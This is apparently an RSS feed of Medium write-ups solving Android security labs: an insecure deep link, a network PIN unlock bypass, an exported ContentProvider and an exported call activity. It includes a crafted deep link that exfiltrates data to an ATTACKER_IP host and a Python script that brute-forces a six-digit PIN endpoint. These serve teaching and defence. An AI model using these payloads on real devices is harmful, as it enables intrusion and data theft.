<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Seif Ahmed Abdelaal on Medium]]></title>
        <description><![CDATA[Stories by Seif Ahmed Abdelaal on Medium]]></description>
        <link>https://medium.com/@seifabdelaal_?source=rss-0bcd09c61940------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zl_LuWX8eTDppBGM3X9mww.jpeg</url>
            <title>Stories by Seif Ahmed Abdelaal on Medium</title>
            <link>https://medium.com/@seifabdelaal_?source=rss-0bcd09c61940------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 07:02:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@seifabdelaal_/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why Some Links Open Mobile Apps Instead of Websites — And the Security Risks Behind It]]></title>
            <link>https://medium.com/@seifabdelaal_/why-some-links-open-mobile-apps-instead-of-websites-and-the-security-risks-behind-it-d01faaf693a8?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/d01faaf693a8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[8ksec]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Wed, 04 Mar 2026 00:12:27 GMT</pubDate>
            <atom:updated>2026-03-04T00:12:27.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*yc46njGJIe9PH4eMetllCw.png" /></figure><p>Sometimes a friend sends you a Facebook link on WhatsApp.</p><p>You tap the link expecting it to open in your browser, but instead the Facebook mobile application launches directly on your device.</p><p>How does that happen?</p><p>More importantly, can this behavior introduce security risks if it is misconfigured?</p><p>In this article, we will explore the mechanism behind this behavior, known as <strong>Android Deep Links</strong>, and understand how they allow web links to directly trigger functionality inside mobile applications.</p><p>To better understand the security implications, we will walk through a practical example by solving the lab <strong>ReconDroid: The Application Intelligence Provider</strong> from <strong>8ksec</strong>, where a misconfigured deep link exposes sensitive functionality that can lead to unintended data exposure.</p><h3>Understanding Deep Links</h3><p>Before diving into the vulnerability, we first need to understand a fundamental Android concept called Deep Links.</p><p>In Android, applications can register themselves to handle specific types of links. This means that when the user opens a link, the operating system does not always send it to the browser. Instead, Android checks whether any installed application has declared that it can handle that type of link.</p><p>If a matching application is found, Android launches that application and passes the link to it.</p><p>Technically, this behavior is implemented through <strong>Intent Filters</strong> defined in the application’s <strong>AndroidManifest.xml</strong>.</p><p>A simplified example looks like this:</p><pre>&lt;intent-filter&gt;<br>    &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br><br>    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br><br>    &lt;data<br>        android:scheme=&quot;recondroid&quot;<br>        android:host=&quot;debug&quot;/&gt;<br>&lt;/intent-filter&gt;</pre><p>This configuration tells Android:</p><p>The application can handle <strong>VIEW</strong> actions (opening links).</p><p>The activity can be triggered from outside the application <strong>(BROWSABLE)</strong>.</p><p>Any link that matches the pattern <strong>recondroid://debug</strong> should be routed to this activity.</p><p>So when a user opens a link such as:</p><p><strong>recondroid://debug?action=get_key</strong></p><p>Android performs a process called Intent Resolution:</p><ul><li>The system receives the link.</li><li>It checks all installed applications for matching intent filters.</li><li>If an application declares support for that scheme and host, the corresponding activity is launched.</li><li>The link is passed to the application as an Intent, where the app can read its parameters and perform an action.</li></ul><p>This mechanism is extremely useful for mobile applications because it allows links to trigger specific functionality inside apps.</p><p>However, if sensitive functionality is exposed through a deep link without proper validation or access control, it can create a serious security risk.<br>An attacker could craft a malicious link that triggers internal application logic directly from a browser, another application, or even a web page.</p><p>This is exactly the scenario we will explore in the <strong>ReconDroid lab</strong>.</p><h3>Solving the Lab: ReconDroid Analysis</h3><p>ReconDroid is designed as an application intelligence tool that performs reconnaissance on all installed applications on an Android device. It collects various pieces of metadata about each application and stores them in a structured backup file.</p><p>The collected information may include details such as:</p><p>- Application names and package identifiers<br>- Permissions requested by each application<br>- Activities, services, receivers, and providers<br>- Installation paths and data directories<br>- Version information and other technical metadata</p><p>The application then allows the user to either generate a backup locally or export this backup to a remote server by specifying the target IP address and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*76RClhDUIGj_jvtsEanajA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*MMEulGhaCDjFQEE6_e5CVg.png" /></figure><p>With this understanding in mind, the next step was to start analyzing the application.</p><p>As usual, the analysis began with static analysis using <strong>JADX</strong>.</p><p>After decompiling the APK and browsing through the source code, we examined the <strong>AndroidManifest.xml</strong> file to identify exposed components and possible entry points that could be triggered externally.</p><p>During this process, we discovered an interesting deep link configuration inside the application’s <strong>MainActivity</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*duWPxrZ3YQMu5i7ldBoyTA.png" /></figure><p>This configuration means that any link matching the following pattern could launch the application:</p><p><strong>recondroid://debug</strong></p><p>At this point, something immediately caught our attention.</p><p>The host name used in the deep link was <strong>”debug”</strong>.</p><p><strong>For a security researcher, names like “debug”, “test”, “dev”, or “internal” are always worth investigating because they often indicate functionality intended for development or testing environments rather than public production use.</strong></p><p>Digging deeper into the deep link implementation — especially the <br><strong>debug host</strong> that caught our attention earlier — we found that the application routes these requests to a function called:</p><p><strong>handleDebugDeepLink()</strong></p><p>As the name suggests, this function is responsible for handling debug-related deep link actions.</p><p>While reviewing its logic, we discovered something particularly concerning.</p><p>Inside this function, the application eventually calls another method named:</p><p><strong>performAutoExport()</strong></p><p>The name alone already hints at what it does — it automatically exports the application’s collected data.</p><p>Under normal circumstances, the application provides a user interface where the user can manually export the generated backup. In that flow, the user must explicitly enter:</p><p>- The target server IP address<br>- The port number<br>- The communication protocol</p><p>After providing these values, the user can choose to export the backup to the specified server.</p><p>However, the <strong>debug deep link bypasses this entire user interaction process</strong>.</p><p>Instead of requiring manual input, the application reads the server information directly from the <strong>deep link parameters</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*xgGgGK1Y-Y3jS_KjtQWNog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtY8I1orWydVX01w91TT7A.png" /></figure><p>For example, a link structured like this:</p><p><strong>recondroid://debug?action=get_key&amp;protocol=http&amp;host=ATTACKER_IP&amp;port=8000</strong></p><p>would cause the application to extract the following values from the URI:</p><p>- protocol<br>- host<br>- port</p><p>These values are then passed directly to the export functionality, which triggers an automatic export of the application’s backup data to the specified server.</p><p>In other words, simply opening a crafted deep link can silently cause the application to generate a backup and send it to an attacker-controlled server.</p><p>From a security perspective, this creates a dangerous scenario.</p><p>A user might click such a link from a browser, a chat application, or even a malicious webpage without realizing that it triggers sensitive functionality inside the application.</p><p>As a result, the application’s collected intelligence data could be silently transmitted to an external server that the user does not control or even know about.</p><h3>Proof of Concept</h3><p>To demonstrate how this issue can be exploited in practice, we built a simple proof of concept.</p><p>The idea behind the attack is straightforward: instead of allowing the user to manually enter the server details for exporting the backup, we craft a malicious deep link that provides these values automatically.</p><p>A malicious link could look like the following:</p><p><strong>recondroid://debug?action=get_key&amp;protocol=http&amp;host=ATTACKER_IP&amp;port=8000</strong></p><p>When the user opens this link, the Android operating system resolves the deep link and launches the ReconDroid application. The application then parses the parameters embedded in the URI.</p><p>As we observed during the code analysis, these parameters are directly passed to the <strong>performAutoExport()</strong> function, which automatically triggers the export process.</p><p>To capture the exported data, we set up a simple HTTP server on the attacker’s machine listening on port 8000.</p><p>Once the deep link is triggered, the application generates a backup file containing the collected application intelligence and sends it to the specified server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmRlVo6Ld01DWbTD7Efwug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*xMUAtxwDe2bilm6UmYL_zA.png" /></figure><p>As a result, sensitive application intelligence stored by ReconDroid is transmitted directly to the attacker-controlled server.</p><p>From the victim’s perspective, this entire process can happen silently after simply opening a crafted link, without requiring any manual interaction inside the application.</p><p>In this case, the ReconDroid application unintentionally exposed sensitive application intelligence due to a misconfigured deep link combined with an exported activity.</p><p>Because the application’s business logic allowed the deep link to directly trigger the backup export functionality, a simple crafted link was enough to cause the application to generate a backup and send it to an attacker-controlled server.</p><p>The issue here is not the deep link itself — deep links are a legitimate and widely used feature in mobile applications.</p><p>The real problem arises when sensitive application functionality is exposed through deep links without proper validation, authentication, or user confirmation.</p><p>In ReconDroid, this resulted in the unintended exposure of application intelligence data.</p><p>But imagine if the same design mistake happened in a different type of application.</p><p>What if the deep link triggered a <strong>financial transaction in a banking application?</strong></p><p>Or <strong>initiated a password reset process?</strong></p><p>Or <strong>exposed private user data stored inside the app?</strong></p><p>In such cases, a simple link could potentially trigger highly sensitive actions without the user’s awareness.</p><p>This example highlights an important lesson for mobile developers:</p><p>Deep links should never be allowed to directly execute sensitive functionality unless strong security controls are implemented.</p><p>Proper validation, authentication checks, and explicit user interaction are critical when exposing application logic through externally accessible entry points.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d01faaf693a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Being on the Same Coffee Shop Wi-Fi Is All an Attacker Needs]]></title>
            <link>https://medium.com/@seifabdelaal_/when-being-on-the-same-coffee-shop-wi-fi-is-all-an-attacker-needs-7c6645723d1e?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c6645723d1e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[8ksec]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 02:32:54 GMT</pubDate>
            <atom:updated>2026-02-26T02:32:54.238Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*U7fS0pIuYbLWQz8rhc_iZw.png" /></figure><p>In this article, I will be solving a lab titled <strong>BorderDroid: International Border Protection</strong> from <strong>8ksec</strong>.</p><p>The lab revolves around an Android application designed to protect sensitive data in situations where a device may be inspected, seized, or searched — scenarios that are common for travelers, journalists, researchers, or anyone carrying information they do not want exposed.</p><p>The core idea behind the application is Kiosk-style protection.<br>Instead of relying solely on the device lock screen, the app creates an additional controlled interface that makes the phone appear locked and empty, while the real data remains hidden behind another layer of logic.</p><p>When protection is enabled:</p><ul><li>The device appears locked and contains no meaningful data</li><li>PIN attempts are limited</li><li>Security actions may be triggered after multiple failed attempts</li><li>Leaving the restricted interface is intentionally difficult</li></ul><p>From a user perspective, the phone looks fully protected.</p><p>But from a security perspective, the real question is not whether the interface looks secure — it is whether the protection logic itself is secure.</p><p>This lab does not focus on guessing a PIN in the traditional sense.<br>Instead, it explores how exposing an internal logic pathway can allow an attacker to bypass the protection entirely — even without physically interacting with the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*uLyXs4HuCVP7NqQFKA9Ojw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*Xtj_kb-gUdhSkoM6H9tdNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*-4vcMeYh2sJyNvHXzjE_ug.png" /></figure><p>As usual, the journey begins with static analysis using <strong>JADX</strong>.</p><p>The first step was reviewing the <strong>AndroidManifest.xml</strong>, which often provides early indicators about an application’s behavior and potential attack surface.</p><p>Several permissions immediately stood out.</p><p>Among them were permissions related to foreground services, network access, and overlay capabilities — a combination commonly seen in applications that enforce persistent interfaces such as kiosk mode or security-focused controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*uj9cpyEsg94l6vuZgRycLA.png" /></figure><p>While none of these permissions alone indicate a vulnerability, together they suggest that the application maintains continuous background execution, interacts with the network, and may control what the user sees on the screen.</p><p>At this stage, this does not confirm a flaw.<br>But it does establish an important observation:</p><p>The application likely relies heavily on background components to enforce its protection model.</p><p>And that makes background logic a critical area to investigate.</p><p>From there, the next logical step was identifying the application’s background components — particularly <strong>Services</strong> and <strong>Broadcast Receivers</strong>.</p><p>Applications that implement kiosk-style protection typically rely on persistent background components to enforce restrictions, monitor state, and trigger security actions.</p><p>During this phase, one component immediately drew attention:</p><p><strong>HttpUnlockService</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*SktGWyE8EicxArOcDudl3A.png" /></figure><p>The name itself suggested functionality related to unlocking, but more importantly, it hinted at a network-driven mechanism rather than a purely local one.</p><p>This observation became even more interesting when examining the imported libraries within the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*WXvsHIJg4b4kK4udTrVPpA.png" /></figure><p>The presence of <strong>NanoHTTPD</strong>, a lightweight embedded HTTP server, confirmed that the application was not simply communicating with a remote backend — it was hosting a server directly on the device.</p><p>Further inspection revealed a hardcoded server port: <strong>8080</strong></p><p>At this point, the investigation shifted from interface-level security to network attack surface.</p><p>If the application exposes an HTTP server while enforcing kiosk protection, the critical question becomes:</p><p>What functionality is reachable through that server?</p><p>And more importantly — does that functionality intersect with security-critical logic?</p><p>Digging deeper into the service led to one of the most critical discoveries.</p><p>Inside the application, the embedded HTTP server was implemented through a class extending <strong>NanoHTTPD</strong>, confirming that the device itself was hosting a local web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVQ4ufsSSASPsqcetu_awg.png" /></figure><p>Examining the server logic revealed a specific endpoint:</p><p><strong>POST /unlock</strong></p><p>At first glance, this might appear to be a normal internal mechanism — perhaps intended for debugging, remote control, or emergency access.</p><p>However, the implementation showed something far more interesting.</p><p>The server parses incoming JSON requests, extracts a pin value, and directly triggers a broadcast responsible for performing unlock actions.</p><p>In other words, the application exposes a network-reachable pathway that interacts with security-critical functionality.</p><p>This was a turning point.</p><p>Up to this stage, the protection appeared interface-driven — limited PIN attempts, restricted navigation, and kiosk enforcement.</p><p>But this discovery suggested that the unlocking logic might be reachable through a completely different channel.</p><p>A channel that does not depend on the interface at all.</p><h3>At this stage, an important security question emerged:</h3><p>If the application strictly protects PIN attempts through the user interface, what happens when the same logic is reachable through the network?</p><p>Reviewing the interface flow showed clear defensive measures.<br>PIN attempts were limited.<br>Security responses could be triggered after repeated failures.<br>The user-facing protection model appeared intentional and well designed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*Klfvgz_E3mY3f8FWe5roaw.png" /></figure><p>But the network pathway told a different story.</p><p>The /unlock endpoint forwards the supplied PIN directly into the internal unlock workflow without enforcing the same attempt restrictions observed in the interface layer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZd3aV52aj7EA7XHG7GjiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*HmLWFVlXTk6IsZsL659z5g.png" /></figure><p>This creates a classic security gap:</p><p><strong>The interface is protected.<br>The logic is exposed.</strong></p><p>From an attacker’s perspective, this changes the problem entirely.<br>Instead of interacting with a restricted UI, the attacker can interact directly with the underlying security mechanism.</p><p>And when security-critical functionality becomes remotely reachable, the threat model shifts from physical access to network proximity.</p><p>This means an attacker no longer needs the device.<br>They only need to be on the same network.</p><h3>Now imagine the following scenario.</h3><p>You are sitting in a coffee shop, connected to the public Wi-Fi network.<br>Your phone is in your pocket, and you believe the application you installed is fully protecting your device.</p><p>The interface looks convincing.<br>The phone appears locked.<br>Sensitive data seems hidden.</p><p>But an attacker is sitting in the same coffee shop.</p><p>They do not have physical access to your phone.<br>They do not need malware.<br>They do not need advanced exploitation.</p><p>All they need is to be on the same network.</p><p>From an attacker’s perspective, the first step is not interacting with the device — it is discovering it.</p><p>Since the analysis revealed that the application exposes a local HTTP server on port 8080, this becomes a powerful fingerprint.</p><p>Instead of guessing which device is running the application, the attacker can simply scan the network for hosts exposing that port.</p><p>This is where network discovery tools like <strong>Nmap</strong> come into play.</p><p>By scanning the local subnet, the attacker can quickly identify devices with port 8080 open — and more importantly, distinguish the target device based on the unique server response observed during analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*XnueijLsYrwBjleG5JYsDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJiQdlrW1mI0PfpbRWBlBQ.png" /></figure><p>Once the attacker identifies the device’s private IP address, the barrier of discovery is gone.</p><p>At this stage, the problem becomes purely logical.</p><p>Because the<strong> /unlock</strong> endpoint accepts a PIN value without enforcing the same interface restrictions, an attacker can automate PIN attempts programmatically.</p><p>Instead of interacting with the device, the attacker prepares a simple script that sends repeated unlock requests with different PIN values.</p><pre>import requests<br>from requests.exceptions import RequestException<br>import time<br><br>TARGET = &quot;http://192.168.1.16:8080/unlock&quot;<br><br>last_pin = None<br><br>for i in range(0, 1000000):<br>    pin = str(i).zfill(6)<br>    last_pin = pin<br><br>    try:<br>        requests.post(TARGET, json={&quot;pin&quot;: pin}, timeout=1.5)<br>    except RequestException:<br>        print(&quot;\n[+] Server stopped responding.&quot;)<br>        print(&quot;[+] Most likely correct PIN:&quot;, last_pin)<br>        break<br><br>    if i % 2000 == 0:<br>        print(&quot;Tried:&quot;, pin)<br><br>    time.sleep(0.03)</pre><p>Each request directly interacts with the internal unlock workflow — bypassing the user interface entirely.</p><p>Eventually, one request contains the correct PIN.</p><p>When that happens, something critical occurs.</p><p>The application — which appears to be enforcing strict protection — executes the unlock workflow as if the legitimate user had entered the PIN.</p><p>Kiosk enforcement is disabled.<br>Protection stops.<br>The restricted interface disappears.</p><p>And all of this happens without the attacker touching the device.</p><p>The only requirement was being on the same network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*hgpfLxQO29aHff69ahsxuw.gif" /></figure><p>In the GIF above, the victim’s phone is shown with the security application enabled, while the attacker’s laptop is running the Python script.</p><p>As soon as the script discovers the correct PIN, the phone unlocks.</p><p><strong>Note</strong>: In this demonstration, the phone and the laptop are not connected by any cable — they are simply connected to the same WiFi.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c6645723d1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Single Exported ContentProvider Can Break an Entire Application’s Security Model]]></title>
            <link>https://medium.com/@seifabdelaal_/how-a-single-exported-contentprovider-can-break-an-entire-applications-security-model-924176b916f9?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/924176b916f9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[8ksec]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 00:07:08 GMT</pubDate>
            <atom:updated>2026-02-24T00:07:08.851Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*T9Iq75bu4Dg8ScwhSjpD2g.png" /></figure><p>In this write-up, I will explain the solution to the lab <strong>DroidCave: Secure Password Management</strong> from <strong>8ksec</strong>, which is based on the concept of a password manager application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*7AVxeWIPtoTXRTyFFsweCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*1L2pZq4vTnKUhj6g9NntPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*zyVrBxwM5srf77JVUC-wqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*7NMv9jrYalbImeaLtpzO9g.png" /></figure><p>The first step is to decompile the APK using <strong>JADX</strong> and initiate static analysis. This process involves manually reviewing the code to understand how the application is structured, how data is handled, and where potential security issues may exist.</p><p>One of the first and most significant observations during the analysis was the presence of an exported <strong>ContentProvider</strong>.<br>This configuration indicates that external applications may be able to interact with the provider.</p><p>In Android, the existence of a ContentProvider is typically associated with data access and management, as it acts as an abstraction layer over the application’s underlying storage (such as databases or files).</p><p>When a ContentProvider is exported without proper access control, it effectively becomes a gateway (or API surface) through which other applications can communicate with and potentially interact with the app’s internal data.</p><p>In the context of this application — a password manager — this significantly increases the attack surface, since the provider may expose functionality related to highly sensitive data, namely stored credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*O4k7kAYqBpL_OQWgIE4KMg.png" /></figure><p>A deeper inspection of the ContentProvider implementation revealed several exposed URI paths mapped through a <strong>UriMatcher.</strong><br>These paths define the operations that external applications can invoke when interacting with the provider.</p><p>Notably, the provider exposes multiple sensitive endpoints, including functionality related to password retrieval, direct SQL execution, encryption state management, and even operations that allow passwords to be set in plaintext.</p><p>The presence of such endpoints is particularly concerning because it indicates that the provider is not limited to simple data access. Instead, it exposes high-privilege operations that directly impact how sensitive credentials are stored, queried, and processed.</p><p>This significantly expands the attack surface. Rather than acting as a controlled data access layer, the ContentProvider effectively behaves as a powerful internal API that may be reachable by external applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*HGaUPxbFoPDFQQLzx53VYA.png" /></figure><p>The code is structured into multiple case blocks, each mapping to a specific URI pattern. In practice, you can think of each case as an endpoint exposed through the ContentProvider.</p><p>To verify the exposure and behavior of these endpoints, we can interact with the provider using Android debugging tools (such as the content command via <strong>ADB</strong>).</p><p><strong>The first case</strong> maps to the passwords endpoint, which retrieves entries from the passwords table. The provider builds the query and returns the results without performing any authorization or caller validation.</p><p>As a result, functionality that should only be available after unlocking the password manager becomes accessible through the exported ContentProvider, allowing external callers to enumerate stored credential entries.</p><pre>switch (MATCHER.match(uri)) {<br>            case 1:<br>                SupportSQLiteDatabase supportSQLiteDatabase5 = null;<br>                SupportSQLiteQueryBuilder supportSQLiteQueryBuilderBuilder = SupportSQLiteQueryBuilder.INSTANCE.builder(&quot;passwords&quot;);<br>                supportSQLiteQueryBuilderBuilder.columns(projection);<br>                if (selection != null) {<br>                    supportSQLiteQueryBuilderBuilder.selection(selection, selectionArgs);<br>                }<br>                supportSQLiteQueryBuilderBuilder.orderBy(sortOrder == null ? &quot;name ASC&quot; : sortOrder);<br>                SupportSQLiteDatabase supportSQLiteDatabase6 = this.database;<br>                if (supportSQLiteDatabase6 == null) {<br>                    Intrinsics.throwUninitializedPropertyAccessException(&quot;database&quot;);<br>                } else {<br>                    supportSQLiteDatabase5 = supportSQLiteDatabase6;<br>                }<br>                return supportSQLiteDatabase5.query(supportSQLiteQueryBuilderBuilder.create());</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHjpsrlCSfCdFeYzVJWN3A.png" /></figure><p>Further analysis revealed that the issue was not limited to retrieving stored passwords. The provider also exposes endpoints that impact core security logic, including functionality that can alter the application’s encryption state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0uNXn1re3gFwV6X6WwOpw.png" /></figure><p>More critically, an endpoint exists that executes raw SQL queries, effectively enabling external callers to perform database operations through the provider without proper restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDAM6wTfXC7wyI1FTMx3jg.png" /></figure><p>This shifts the problem from simple data exposure to a broader design flaw, where internal application logic becomes externally reachable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=924176b916f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Make a Phone Call from a Device You’ve Never Touched]]></title>
            <link>https://medium.com/@seifabdelaal_/how-to-make-a-phone-call-from-a-device-youve-never-touched-0cc9cfb31757?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cc9cfb31757</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[8ksec]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 19:40:44 GMT</pubDate>
            <atom:updated>2026-02-23T20:25:38.000Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*ZRqeHMPS_NzZTmgxOPn6KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*aYifA6ZwzCJr4sVeZjpseQ.png" /></figure><p>In this article, we will solve a lab called <strong>AndroDialer: The Ultimate Phone Experience </strong>from<strong> 8ksec</strong>— a seemingly normal dialer application designed to make phone calls.</p><p>Step by step, we will discover how a completely different application on the victim’s device can silently trigger phone calls — even without requesting the CALL_PHONE permission.</p><p>This lab highlights a dangerous Android security concept where one application can abuse the privileges of another, leading to unauthorized actions without the user’s awareness.</p><h3>Starting with Static Analysis</h3><p>As a first step, we opened the application in JADX to begin our usual static analysis process.</p><p>While reviewing the <strong>AndroidManifest.xml</strong>, we immediately noticed something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Wf53dPv8-w4JVCNBlDVxGA.png" /></figure><p>The application exposes an activity named <strong>CallHandlerServiceActivity</strong> with the following characteristics:</p><ul><li>The activity is marked as exported, meaning it can be invoked by other applications.</li><li>It uses <strong>Theme.NoDisplay</strong>, indicating that it can run without showing any visible UI.</li><li>It defines multiple intent filters, including support for:</li></ul><p>1- A custom action used to perform calls</p><p>2- The tel: scheme</p><p>3- A custom deep link scheme (dialersec://call)</p><p>At this point, this combination raises an important security question:</p><p>If an exported activity can be triggered externally and is related to phone calls, can another application abuse it to place calls on behalf of the user?</p><p>This question becomes the starting point of our investigation.</p><p>After identifying <strong>CallHandlerServiceActivity</strong> as a potential attack surface, the next step was to inspect its implementation.</p><p>However, once we opened the activity inside JADX, we noticed that the onCreate() method was not fully decompiled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKdaOmK3JYPZh_PwJBhLpw.png" /></figure><p>JADX displayed warnings indicating that the method could not be reliably reconstructed due to complex control flow and duplicated regions.</p><p>This is a common scenario during Android reverse engineering especially with Kotlin, obfuscation, or heavily optimized bytecode.</p><p>Instead of stopping here, we enabled the <strong>Show inconsistent code option</strong> to force JADX to reveal a partially reconstructed version of the method.</p><p>This approach allows us to continue analyzing the logic even when the decompiler is not fully confident about the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*aD4UPOLahN4LisRFczbYIg.png" /></figure><p>After enabling the inconsistent code view and inspecting the reconstructed logic, we eventually discovered the most important piece of functionality inside the activity:</p><p>The activity creates an intent using <strong>android.intent.action.CALL</strong>, attaches a phone number using a <strong>tel: URI</strong>, and then launches it via <strong>startActivity().</strong></p><p>This confirms that the activity is capable of initiating real phone calls — not just opening the dialer.</p><p>At this moment, the investigation shifts from “what does this activity do?” to a more important question:</p><p>If this activity can be triggered externally, can an attacker control the phone number and force the device to place a call?</p><p>This discovery establishes the sensitive sink in our analysis and becomes the foundation for the exploitation path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*YNsFM9FkyDozZzy358N7Rw.png" /></figure><p>While continuing to trace the execution flow, we discovered that the activity does not immediately place a call.<br>Instead, it performs an authorization check before executing the action.</p><p>The activity verifies a value called <strong>enterprise_auth_token</strong> before allowing the intent to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWiuyj8m16ECBqDyacG_jw.png" /></figure><p>At first glance, this might appear to be a security control designed to prevent unauthorized invocation.</p><p>However, the critical observation was that the token was hardcoded directly inside the application code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*z-fhUjpiktRP6U-bpJLfnA.png" /></figure><p>This means that anyone performing static analysis can extract the token and reuse it when triggering the activity.</p><p>In other words, the authorization mechanism is not truly protecting the component — it only creates the illusion of security.</p><p>This discovery transforms the activity from a protected component into a fully exploitable one.</p><h3>From Static Analysis to Exploitation</h3><p>At this stage, static analysis provided us with everything needed to reproduce the behavior of the activity externally.</p><p>By carefully reading the code, we identified the exact pieces required to construct a working intent:</p><ul><li>The exported component name</li><li>The action expected by the activity</li><li>The authorization token</li><li>The phone number input format</li><li>Supported URI schemes (tel and dialersec)</li></ul><p>Using this information, we were able to craft an <strong>ADB</strong> command that replicates what a malicious application would do.</p><p><strong>Both commands trigger the same sensitive action, but through different entry points — demonstrating that the vulnerable functionality is exposed across multiple invocation paths:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHQfqHAAhB8hr5KX__PuDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_QBvgQSs14B0LR2_9VkLg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cc9cfb31757" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
